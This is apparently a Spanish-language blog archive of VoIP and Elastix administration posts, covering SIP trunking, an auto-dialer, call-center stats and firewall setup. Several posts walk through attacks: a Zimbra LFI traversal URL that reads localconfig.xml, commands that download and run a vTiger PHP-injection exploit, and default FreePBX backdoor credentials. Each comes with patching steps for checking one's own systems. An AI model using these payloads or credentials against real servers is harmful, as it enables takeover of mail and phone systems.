Archivo

Archive for the ‘Centos’ Category

Troncalización de Elastix MT y A2BILLING mediante SIP

marzo 19, 2015 15 comentarios

ElastixMT

Luego del primer post sobre ELastix 3  Elastix 3 Multi Tenant – Configuración 1 (Extensiones y trunks) por cierto redefinido con el nombre Elastix MT donde mostraba la troncalización SIP funcional, me llegaron muchas consultas, por que al parecer no conseguían realizar el trunk , a continuación veremos como hacer un trunk entre una cuenta (customer) de A2BILLING y Elastix MT para poder sacar llamadas usando este servidor A2BILLING, como se ilustra en el gráfico a continuación.

ElastixMT

No voy a explicar, como es el proceso de instalación o creación de cuentas en A2BILLING,  se asume que ya tienen todo esa parte lista, sin embargo si necesitan alguna referencia, hace poco mi amigo e instructor de Elastix,  Ludwig Ramirez realizó un Webinar llamado “interactuando con A2billing” es muy buen punto de partida.

Ahora vamos al manual:

1.- Configuración del customer en A2BILLING
Digamos que tenemos este customer creado en nuestro a2b

Usuario : 7973430
Contraseña : 915215kd7amaqhkvbts0

ElastixMTelastix3
2.- Creación del trunk en Elastix MT

Ingresar a PBX / PBX / Trunks y hacer clic en “Create New Trunk”

Pestaña General

Descriptive Name : 7973430
Outbound Caller ID : 7973430
Organization: * : Especificar la organización creada previamente.

elastix3

Pestaña Peer Settings

Name: * : 7973430
secret:  ladefinida
host: 192.168.1.42
username: 7973430

elastix3

Pestaña Registration

Register String:  : 7973430:915215kd7amaqhkvbts0@192.168.1.42/7973430

elastix3

Una vez creada la troncal se mostrará de esta forma :

elastix3

3.- Configurar ruta saliente
Ingresar a PBX / PBX / Outbound Routes y editamos la ruta creada (9 + numero)

elastixmt

Luego vamos a la pestaña “Tunk Secuence” y le indicamos que use la troncal creada previamente, como se muestra a continuación :
elastixmt
4.- Servidor A2BILLING

Mientras tanto en el servidor a2b veremos el registro

elastixmt

elastixmt

5.- Llamadas salientes

Cuanto intentamos sacar llamadas en Elastix MT desde el CLI de Asterisk , podemos observar que tenemos el mensaje “todas las lineas están ocupadas”

ElastixMT

EL PROBLEMA!!

En el servidor A2BILLING tenemos el siguiente mensaje de error también.

ElastixMT
“chan_sip.c:23173 handle_request_invite: Failed to authenticate device <sip:101@192.168.1.40:5080>;tag=as5f10d355”

Si no ponemos a googlear existen algo de dos mil entradas referentes al problema….

ElastixMT

Y ahora que hacemos !! traigan a los Avengers !!

LA SOLUCIÓN !!

Nada de eso… toca hacer debug a bajo nivel y recordar las clases de SIP del gran  Olle Johansson

Después de revisar las tramas en Wireshark, me di cuenta de que el tema pasa por la manera como negocia el invite y el puerto, la parte de ElastixMT hacia A2B y viceversa.

http://www.voip-info.org/wiki/view/Asterisk+sip+insecure

Así que le agregué al customer “7973430” los parámetros SIP:

insecure=port,invite

ElastixMT

Luego reiniciar hacer un “sip reload” en el CLI

Nuevamente intentamos hacer llamadas y ahora si lo realiza correctamente:

Elastix MT

ElastixMT

A2Billing

ElastixMT
Luego de realizar esta integración,  se puede afirmar que ElastixMT puede troncalizar con cualquier plataforma, gateway  e inclusive Softwich que converse el estandar SIP.

Espero les sirva

Juan Oliva
@jroliva

 

 

 

 

Anuncios

Explotando Vulnerabilidad en Zimbra

enero 2, 2014 13 comentarios

zimbra

Después del alboroto de las fiestas de fin de año, volvemos al ruedo, el pasado diciembre 2013 , fue reportada una vulnerabilidad y publicado su respectivo exploit  , en Zimbra para las versiones 8.0.2 y 7.2.2, el exploit ataca un vector LFI .

Exploit : http://www.exploit-db.com/exploits/30085/

Vector LFI : https://mail.dominio.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml

A través de este vector, es posible creación de un usuario administrativo en la plataforma, es decir es posible tomar el control del servidor de correo Zimbra, para leer buzones, crear nuevas cuentas,  y si ya se …  Spamm free !!

Es posible explotar la vulnerabilidad remotamente , si la interfase administrativa de Zimbra (puerto 7071) esta abierta.

A continuación veremos como probar si nuestro Zimbra es vulnerable.

1.- Descargar y configurar el exploit
Para esto utilizaremos kali Linux como sistema operativo base ya que el exploit esta escrito en ruby y en este caso Kali , tiene todas las librerías de Rubi instaladas.

zimbra

2.- Ejecutar el exploit
Si el exploit se ejecuta correctamente, tendremos un resultado como el siguiente:

zimbra

Al parecer nuestro exploit se ejecuta correctamente, ahora ingresaremos con las credenciales creadas

3.- Ingresando como administrador en Zimbra

Ingresamos con el usuario que creamos con en el exploit

zimbra

Y como vemos podemos ingresar como Administradores en Zimbra

zimbra

Ojo versiones de Zimbra con este aspecto también son vulnerables:

zimbra

4.- Parchando

Afortunadamente los desarrolladores de Zimbra han publicado los parches para esta vulnerabilidad

http://www.zimbra.com/forums/announcements/67236-security-guidance-reported-0day-exploit.html

Así que a parchar se ha dicho señores , Feliz 2014 !!

Descargo de responsabilidad: El presente post es una prueba de concepto, hecho con objetivos netamente de defensa y protección, es responsabilidad del lector el uso de este conocimiento.

Explotando vulnerabilidad PHP Code Injection Exploit en VTIGER 5.2.1

junio 17, 2013 2 comentarios

php-code-inyection

De regreso con las vulnerabilidades en VTIGER, anteriormente habíamos hablado de “Vulnerabilidad de directorios transversales” que afecta hasta implementaciones en Goautodial. En este oportunidad, vamos hablar otra denominada “PHP Code Injection” , el fundamento básico de esta técnica, es inyectar código arbitrario, como lo hace una inyección SQL.

Lo delicado de esto, es que se ha desarrollado un programa a modo de  “exploit” que automatiza este ataque, para tomar el control de una plataforma Elastix primordialmente, que tiene la version de Vtiger vulnerable.

Más adelante, me tomare el tiempo, para explicar como funciona el programa al detalle, por ahora me interesa, mostrar cómo se ejecuta el exploit, cómo funciona cuando es exitoso,  y después como lo parchamos, para que la vulnerabilidad ya no este activa.

Escenario de prueba

Atacante
SO : Kali Linux 32bits
Atacado
SO : Elastix 2.3 recien instalado y sin actualizar

1.-Explotando nuestro sistema y viendo si somos vulnerables.

#apt-get install php5-curl curl
#wget http://packetstormsecurity.com/files/download/119253/elastix23-exec.txt
#mv elastix23-exec.txt elastix.php
#chmod a+wrx elastix.php
#php elastix.php

Nos solicita ingresar la direccion IP del host atacado
Enter Target [https://ip] # https://192.168.10.142

Si el exploit es satifactorio, habremos optenido el acceso como lo muestra el siguiente video

2.- Parchando la vulnerabilidad

Aactualizacion a VTIGET 5.2.1-7
#yum update elastix-vtigercrm

o la que mas me gusta  , Como diria mi abuela , que en paz descanse …. santo remedio hijo !!  😀
#mv /var/www/html/vtigercrm /root/


3.- Condiciones
– Si bien es cierto el “exploit” esta enfocado a Elastix, con algunas modificaciones , puede funcionar para cualquier otra plataforma que user Vtiger.
– Solo afecta a implementaciones de Elastix 2.3 sin Actualizar que contengan Vtiger Crm
– No afecta a Elastix 2.4 , debido a que ya tiene la actualización por default.

Categorías:Asterisk, Centos, Hacking, Linux

Sistema de llamadas desatendidas para Elastix – AudioElastixdialer 0.1

junio 13, 2013 257 comentarios

En algun momento, existe la necesidad de realizar llamadas a los clientes , para reproducir le un grabacion o mensaje determinado (mas conocido como IVR) , por ejemplo para los siguientes casos :

– Sistemas de cobro
– Aviso de promociones
– Recordatorios de pago

Lo interesante es poder hacer estas llamadas de manera automatica y que podamos subirlas desde un archivo, ejemplo un  csv y tenerlo registrado en una base de datos.

Ese es el objetivo, ahora como lo hacemos ?

Bueno para eso nos vamos a apoyar en la funcionalidad “Asterisk call files” desde nuestro Elastix, como lo haremos

– Usaremos un par de paginas en php, que tendran el objetivo de cargar un csv (donde estaran los numeros a llamar)
– Luego se leera el archivo csv , para introducirlo en la base de datos.
– Finalmente leera la base de datos y generara los archivos .call en la carpeta /var/spool/asterisk/outgoing.

A.- COMPOSICION DE LOS ARCHIVOS
Como a todos los ingenieros nos gusta poner nombres a nuestras creaciones, a este lo he llamado, AudioElastixDialer , el cual esta compuesto de los siguientes archivos.

– funciones_bd.php , Contiene funciones basicas , de conexion a la base de datos , operaciones a las tablas , generacion de nuevos codigos.

– index.php , formulario donde se establece el nombre de campaña , tipo de troncal a usar (por default voip) , contexto a usar , y el archivo de numeros a llamar.

– audioelastixdialer.php , realiza las siguientes funciones , sube el cvs a la carpeta del servidor , luego lee los numeros del csv y los inserta a la base de datos  y finalmente crear los archivos .call , basado en la informacion de la base de datos.

B.- INSTALACION
La instalacion esta basada en una plataforma ELASTIX 2.4 a 32 bits , sin embargo puede trabajar en cualquier plataforma basada en Asterisk.

1.-  Crear carpeta donde se alojara la aplicacion , descargarla y descomprirla
#mkdir /var/www/html/AudioElastixDialer
#cd /var/www/html/
#wget http://www.silcom.com.pe/soft/AudioElastixDialer.zip
#unzip AudioElastixDialer.zip

2.- Configuracion de directorios en el sistema
#
chmod a+wr /var/www/html/AudioElastixDialer
#chmod a+wrx /var/spool/asterisk/outgoing/

3.- Configurar el dialplan de Elastix

Ingresamos a modificar el archivo de extensiones personalizadas

#vi /etc/asterisk/extensions_custom.conf

Incluimos en el contexto central uno nuevo el cual llamaremos “call-file-test”  y lo unicaremos al final como se muestra a continuacion.

[from-internal-custom]
exten => 1234,1,Playback(demo-congrats)         ; extensions can dial 1234
exten => 1234,2,Hangup()
exten => h,1,Hangup()
include => agentlogin
include => conferences
include => calendar-event
include => weather-wakeup
include => call-file-test

Luego vamos al final del mismo archivo e ingresamos nuestro contexto nuevo

[call-file-test]
exten => s,1,wait(15)
exten => s,2,Playback(demo-congrats)
exten => s,3,Hangup()

Guardamos los cambios en el archivo y finalmente recargamos los cambios a nivel del CLI de Asterisk

#asterisk -rvvvvvvvv
CLI> reload

4.- Modificar los datos de conexion a la base de datos

#vi /var/www/html/AudioElastixDialer/funciones_bd.php

if(!($conector=mysql_connect(“localhost”,”root”,”tucontrasena”)))

Nota Importante: Verificar también el nombre de la base de datos “AudioElastixDialerBD” en el mismo archivo.

5.- Crear la base de datos para el Audio Elastix Dialer

#mysql -p

mysql> create database AudioElastixDialerBD;

#mysql -u root -p AudioElastixDialerBD < /var/www/html/AudioElastixDialer/sql/AdioElastixDialerBD.sql


6.- Configuracion de la troncal de salida

Para configurar la troncal voip es necesario ingresar al archivo “audioelastixdialer.php” y configurar los parámetros a partir de la linea 77 aproximadamente, actualmente esta configurado para llamadas con prefijo de Perú

$tronc1=”SIP/0051″;
$tronc2=”@PROVEEDORVOIP”;

Ejemplo , para configurar la salida del dialer por el proveedor Nextor Proxy, asumiendo que la troncal tiene el mismo nombre, seria de esta forma:

$tronc1=”SIP/52″;
$tronc2=”@NEXTORPROXY”;

C.- USANDO AUDIOELASTIXDIALER

1.- Ingresar a la aplicación

Ingresar via : https://TUIP/AdioElastixDialer/  y veremos el siguiente formulario

AudioElastixDialer

Ingresaremos basicamente :

Nombre de Campaña : Prueba1
Archivo de llamadas : selecionaremos el archivo csv a subir (incluyo un ejemplo en el zip)

2.- Iniciar Campaña

Para iniciar la campaña es necesario hacer click sobre el boton “Crear Campaña” , si todo salio bien , generara los archivos .call y comezara a llamadar a los numeros indicados, luego reproducira el audio definido en el contexto “call-file-test” agregado asteriormente.

Si todo esta bien configurado nos mostrara esta pantalla :

AudioElastixDialer-OKEl programa generara los archivos .call de la siguiente forma

AudioElastixDialer-SPOOL

Luego empezara a generar las llamadas , esto es lo que tendria que verse a nivel de CLI

AudioElastixDialer-CLI

3.- Conclusiones y modificaciones

– El programa esta hecho en PHP con MYSQL
– Es totalmente Open Source mientras me respeten los creditos
– Resalto que no es un marcador predictivo , ya que se generan tantas llamadas como la troncal usada lo permita.
– Es posible modificarlo para que funcione con troncales Dahdi
– Es posible modificarlo para que funcione con colas
– El futuro , integrarlo al Elastix Addons

La interfase es fea , lo se.. sorry no soy diseñador 😀

Espero les sirva !!

Instalación de Asternic Call Center Stats Pro en Elastix 2.3

diciembre 20, 2012 13 comentarios

asternic
Durante el 4k Conference , tuve el gusto de conocer a Nicolas  y Agustin Gudiño , el primero nada menos que el creador de el no menos conocido “Flash Operator Panel”  ,  ellos son los responsables de uno de los reporteadores mas importantes para callcenters sobre plataformas y distribuciones basadas en Asterisk.

En este caso Asternic Call Center Stats , estoy seguro que más de uno conoce la versión Open-source o  LITE  , sin embargo  déjenme decirles que solo están viendo la punta del iceberg, de todo lo que puede hacer este maravilloso sistema.

En este caso no vamos a ver los innumerables reportes que provee, para eso los invito a visitar la página http://www.asternic.net/   , lo que vamos a ver, es el proceso de instalación sobre una plataforma Elastix en su versión 2.3  de Asternic Call Center Stats Pro 2

1.- Descargar y descomprimir
#wget http://download.asternic.net/asternic-stats-pro-2.0.0.tgz
#tar xvfz asternic-stats-pro-2.0.0.tgz

2.- Crear y cargar base de datos
#mysqladmin -u root -p create qstats
#cd asternic-stats-pro-2.0.0
#mysql -uroot -p qstats < ./sql/mysql-tables.sql

3.- Configurar conexión a base de datos y Manager de Asterisk

cd asternic-stats-pro-2.0.0
vi html/config.php

// Connection details
$DBHOST = ‘localhost’;
$DBNAME = ‘qstats’;
$DBUSER = ‘root’;
$DBPASS = ‘tupassword’;

// Manager details (for realtime tab)
$MANAGER_HOST   = “localhost”;
$MANAGER_USER   = “admin”;
$MANAGER_SECRET = “tupassword”;

4.- Configuración del entorno Web

#mv html /var/www/html/stats
#chown asterisk.asterisk /var/www/html/stats
#chown asterisk.asterisk /var/www/html/stats/* -R
#touch /var/www/html/stats/asterniclic.txt
#chmod 666 /var/www/html/stats/asterniclic.txt
#mv parselog /usr/local

5.- IONCUBE LOADER
Asternic Stats Pro requiere que librerias de ionCube para php.

#wget http://downloads2.ioncube.com/loader_downloads/ioncube_loaders_lin_x86.tar.gz
#tar zxvf ioncube_loaders_lin_x86.tar.gz
#mv ioncube /usr/local
#echo “zend_extension=/usr/local/ioncube/ioncube_loader_lin_5.1.so” >/etc/php.d/ioncube.ini
#service httpd restart

6.- ACTIVAR LICENCIA
Para el caso de Call Center Stats Pro es necesario activar el software. La licencia
está ligado a la dirección MAC de la interfaz de red del servidor.
Es necesario tener acceso a Internet desde el servidor con el fin de activar la copia.

Ingresar a : https://TUIP/stats/

asternic
Licence Name : Nombre de la empresa
Activation Code : xxxxxxxxx  (Enviada por EMAIL)

Una vez que la licencia ha sido activada, nos mostrará el formulario de ingreso al sistema:

asternic

7.- VOLCADO DE LOGS (PARSING)

#cd /usr/local/parselog/
#./tailqueuelog -u root -p 123456 -d qstats -l /var/log/asterisk/queue_log &

Como pueden ver el scrip genera un PID numer , el cual podemos consultar, si deseamos deterlo de lo contrario podemos ingresar en rc.local el comando para que se ejecute cada vez que iniciamos el servidor.

#ps aux | grep tailqueuelog

8.- INGRESO AL SISTEMA
Ingresar a : https://192.168.10.136/stats/

User : admin
Password : admin

asternic

 

Bueno ahí lo tienen, desde mi punto de vista la relación costo – beneficio es muy buena ,  comparado con otros productos bastante conocidos y que doblan el precio , sin considerar que en este caso Asternic Call Center Stats Pro 2 , no tiene limitaciones de agentes en cuanto a la licencia, otro punto interesante es que es un producto totalmente hecho en la región, por lo cual tendremos soporte en nuestro idioma y quién sabe , quizás nos toque el gusto de poder conversar con el mismísimo Nicolas Gudiño en algún momento 😀

Espero les sirva la información

Módulo de seguridad en Elastix : Restringir el acceso al Entrorno Web

julio 2, 2012 9 comentarios

Normalmente posteo cosas sobre inseguridad, sin embargo debido a mucha inquietud sobre Hacking VoIP  y aveces desconocimiento del mismo, me anime a realizar este pequeño post … al grano entonces.

El proyecto Elastix, a parir de la versión 2.0.4, incorporo el módulo de seguridad , el cual como parte de sus funcionalidades, trae un completo gestor de FIREWALL (Iptables en background) para el manejo de puertos y servicios, es evidente que para muchos, el manejo de IPTABLES , puede ser un dolo de cabeza, sin embargo la incorporación de este feature , permitirá la administración de los puertos de acceso un poco mas amigable.

Justificación : No es novedad, que uno de los vectores mas importantes, son los ataques a nivel de aplicaciones web, ya que regularmente aparecen siempre nuevas vulnerabilidades, para ayudarnos en este tema, vamos a ver, como nos puede ayudar el modulo de seguridad y lo contextualizo en el siguiente ejemplo.

Escenario :
Restringir el acceso a la interfase web de administración de Elastix, solo desde una dirección IP especifica, digamos que sea la de nuestra maquina, ya sea interna o externa.

NOTA IMPORTANTE : El uso erróneo de la siguiente configuración puede dejarlos sin acceso completo al entorno de administración , no me responsabilizo, si no aplican bien o interpretan mal el instructivo.

PROCEDIMIENTO

1.- Activar Contrafuegos
Con el objetivo de asegurarnos, si las reglas por defecto, no van a producir algún problema, en nuestra configuración actual, tener cuidado sobre todo con las troncales SIP.

Pulsar sobre el Boton : Activar Contrafuegos

Una vez realizado esto, el firewall quedara activado como se muestra en la siguiente imagen

2.- Cambiar la configuración de la regla 12(http) y 15(https)
Cambiar las reglas que apunta a los servicios http y https que aceptan todas las conexiones de entrada (opción por default) para que ahora solo permita conexiones a nuestra dirección IP en este caso va ser la  :   192.168.10.244

A) Ubicar las reglas http y https

B) Editar las reglas y cambiar el parámetro “Dirección Origen” con la dirección IP a la cual daremos acceso

Regla para HTTP

Regla para HTTPS

C) Finalmente tendrían que quedar de la siguiente forma, una vez modificadas.

3.- Aplicar las reglas del Contrafuegos

Dar click en el boton “Guardar Cambios”

Finalmente, de este modo, realizaremos lo que se conoce como filtrar por origen, en este caso, solo estamos dando acceso a una dirección IP en especifico, de igual forma, pueden aplicar el mismo proceso para los servicios SSH e inclusive SIP.

Espero les sirva la información.

Mas información sobre el modulo de seguridad de Elastix : http://www.elastix.org/index.php/es/component/content/article/67-newstest/523-elastix-launches-security-module-10012011.html

Categorías:Asterisk, Centos, Hacking, Linux

Probando vulnerabilidad en Elastix (Backdoor Freebx)

mayo 30, 2011 2 comentarios

En los últimos años con el despegue de las “Distribuciones Asterisk” , han echo que prácticamente cualquier ser humano, pueda instalarse una plataforma de comunicaciones de voz, sin mucho esfuerzo. lo cual ha producido desde mi punto de vista, graves descuidos, al pensar que una plataforma de voz  o voip , es igual a una implementacion de servicio de correo. por ejemplo.

El 11 de agosto del año pasado , se hiso publico, un grave problema de seguridad (permite el acceso con privilegios de administrador a la configuración total de la plataforma) en Freepbx  , el software por excelencia de muchos,  para administrar “facilmente” un Asterisk y que por supuesto afectaba también a Elastix.

A la fecha , realizando auditorías a plataformas de voz, entre ellas Elastix , casi nueves meses después, de la publicación de la vulnerabilidad , existen, muchas , PERO MUCHAS , implementaciones totalmente afectadas por este problema.

Los invito a verificar los siguiente :

1.- Viendo si mosmos vulnerables :

a) Ingresar a la siguiente direccion :  http://direcccionip/admin/

b) las va pedir acceso de usuario y password prueven con esto :

usuario : asteriskuser

contraseña : eLaStIx.asteriskuser.2oo7

Y vuala si ingresan, entonces a preocuparse.

2.- Como corregir la vulnerabilidad

Felizmente como todo en el mundo opensource , existe un parche , basta con actualizar freepbx

#yum upgrade Frepbx*

Espero que este post le sirva para probar su plataforma y verificar su estado.

Saludos

Mas información sobre la vulnerabilidad : http://www.sinologic.net/blog/2010-08/gravisimo-backdoor-detectado-en-freepbx/